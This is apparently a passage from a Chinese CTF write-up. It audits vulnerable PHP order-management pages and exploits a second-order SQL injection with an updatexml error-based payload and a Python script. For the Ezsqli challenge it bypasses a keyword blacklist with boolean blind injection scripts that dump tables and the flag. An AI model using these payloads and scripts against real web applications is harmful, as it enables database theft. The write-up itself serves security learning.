    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>搜索</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
		<div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>订单查询</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">查询订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a> 
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>    
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

//delete.php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>删除订单</title>
<base href="./">
<meta charset="utf-8" />

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
		<div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>删除订单</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">删除订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb" style="color:#ffffff;">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>
<div id="f">
    <div class="container">
		<div class="row">
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./change.php">
                <button class="btn btn-lg btn-register btn-white" >我要修改收货地址</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

//change.php
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>修改收货地址</title>
<base href="./">

<link href="assets/css/bootstrap.css" rel="stylesheet">
<link href="assets/css/custom-animations.css" rel="stylesheet">
<link href="assets/css/style.css" rel="stylesheet">

</head>
<body>
<div id="h">
	<div class="container">
		<div class="row">
			<div class="col-md-8 col-md-offset-2 centered">
                <p style="margin:35px 0;"><br></p>
                <h1>修改收货地址</h1>
                <form method="post">
                    <p>
                    <h3>姓名:</h3>
                    <input type="text" class="subscribe-input" name="user_name">
                    <h3>电话:</h3>
                    <input type="text" class="subscribe-input" name="phone">
                    <h3>地址:</h3>
                    <input type="text" class="subscribe-input" name="address">
                    </p>
                    <p>
                    <button class='btn btn-lg  btn-sub btn-white' type="submit">修改订单</button>
                    </p>
                </form>
                <?php global $msg; echo '<h2 class="mb">'.$msg.'</h2>';?>
            </div>
        </div>
    </div>
</div>

<div id="f">
    <div class="container">
		<div class="row">
            <p style="margin:35px 0;"><br></p>
            <h2 class="mb">订单管理</h2>
            <a href="./index.php">
                <button class='btn btn-lg btn-register btn-sub btn-white'>返回</button>
            </a>
            <a href="./search.php">
                <button class="btn btn-lg btn-register btn-white" >我要查订单</button>
            </a>
            <a href="./delete.php">
                <button class="btn btn-lg btn-register btn-white" >我不想要了</button>
            </a>
		</div>
	</div>
</div>

<script src="assets/js/jquery.min.js"></script>
<script src="assets/js/bootstrap.min.js"></script>
<script src="assets/js/retina-1.1.0.js"></script>
<script src="assets/js/jquery.unveilEffects.js"></script>
</body>
</html>

还发现提示文件hint.php

<?php
$_ = "注入在哪呢?";
?>

经过一番审计后,在search.php中发现一个注入点

image-20201224171147847.png

过滤了一些注入关键词,无法深入注入,再找其他地方

image-20201224171343276.png

image-20201224171403096.png

在change.php中发现二次注入

image-20201224175210464.png

address参数未经正则检验,只使用了addslashes转义字符

在代码第21行,可以看到在更新地址时它不但修改了当前地址,还保存了旧地址。由此二次注入产生

构造payload验证

user_name=poc2&phone=admin&address='and updatexml(1,concat(0x7e,database()),1)#

image-20201224175719866.png

image-20201224175735068.png

编写脚本如下

#Author: 4ut15m
import requests
import random
import sys

def exp(payload):
    confirm_url = "http://f944378e-ac5e-4660-9604-ead1204b58a8.node3.buuoj.cn/confirm.php"
    change_url = "http://f944378e-ac5e-4660-9604-ead1204b58a8.node3.buuoj.cn/change.php"
    uid = str(random.randint(100,1000))
    b = str(random.randint(1,100))
    
    user_name = b+"4ut15m"+uid
    confirm = {"user_name" : user_name,
                "phone" : "admin",
                "address" : "'and updatexml(1,concat(0x7e,({})),1)#".format(payload)
                }

    requests.post(confirm_url, data=confirm)
    change = {"user_name" : user_name,
              "phone" : "admin",
              "address" : "admin"
              }

    res = requests.post(change_url, data=change)
    print res.text


exp(sys.argv[1])

结果只会显示31位

测试发现存在flag.txt,读取该文件

image-20210104132935721.png

GYCTF2020 Ezsqli

image-20210111151218926.png

image-20210111151307226.png

fuzz可用字符

import requests
import time

url = "http://31b52a9b-0de8-4f8e-9803-8479baabb7b5.node3.buuoj.cn/index.php"

with open('/usr/share/wordlist/sql.txt','r') as f:
    while True:
        dic = f.readline()
        if dic != '':
            post = {'id' : '1\''+dic.strip()}
            res = requests.post(url=url,data=post).text
            time.sleep(0.2)

            if "SQL Injection Checked." in res:
                print dic.strip()
        else :
            break

结果如下

handler
sleep
SLEEp
delete
having
or
oR
BENCHMARK
limit
LimIt
insert
insERT
INSERT
INFORMATION
xor
AND
ANd
BY
By
case
admin'
union
UNIon
UNION
oorr
anandd
HAVING
IF
INTO
JOIN
sleep
infromation_schema
OR
ORDER
ORD
UNION
UPDATE
USING
AND
update
delete
inset
DELETE
floor
rand()
information_schema.tables
LIMIT
ORD
order
by
ORDER
OUTFILE
updatexml
instr
benchmark
format
bin
substring
ord
UPDATE
for
BEFORE
in
SEPARATOR
XOR
CURSOR
FLOOR
INFILE

substring被过滤,但是substr可以用

构造payload进行测试id=0^((select substr(database(),1,1))>'u')

image-20210111151945352.png

image-20210111152136220.png

布尔型结果,故可编写脚本了。

因为information_schema被过滤了,所以我们使用sys数据库来获取表信息

image-20210111152304149.png

脚本如下

import requests
import time


url = "http://31b52a9b-0de8-4f8e-9803-8479baabb7b5.node3.buuoj.cn/index.php"
flag = "Nu1L"

def table():
    tables = ""

    for i in range(1,100):
        l = 33
        h = 126

        while True:
            m = (l + h)/2

            if m == l or m == h:
                tables += chr(m)
                print tables
                break

            payload = "((select ascii(substr((group_concat(table_name)),{},1)) from sys.x$schema_table_statistics where table_schema=database() )<{})".format(str(i),str(m))
            res = requests.post(url=url,data={'id':'0^'+payload}).text
            time.sleep(0.1)

            if flag in res:
                h = m
            else :
                l = m
            
            continue

def dumps():
    result = ""
    for i in range(1,100):
        l = 33
        h = 126

        while True:
            m = (l + h)/2

            if m == l or m == h :
                result += chr(m)
                print result
                break

            payload = "((select ascii(substr(flag,{},1)) from f1ag_1s_h3r3_hhhhh)<{})".format(str(i),str(m))
            res = requests.post(url=url,data={'id':'0^'+payload}).text
            time.sleep(0.2)

            if flag in res:
                h = m 
            else: 
                l = m
            continue 


table()
#dumps()

image-20210111152647777.png

flag

image-20210111151354007.png

# SQL注入 # web安全 # sql注入教程
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录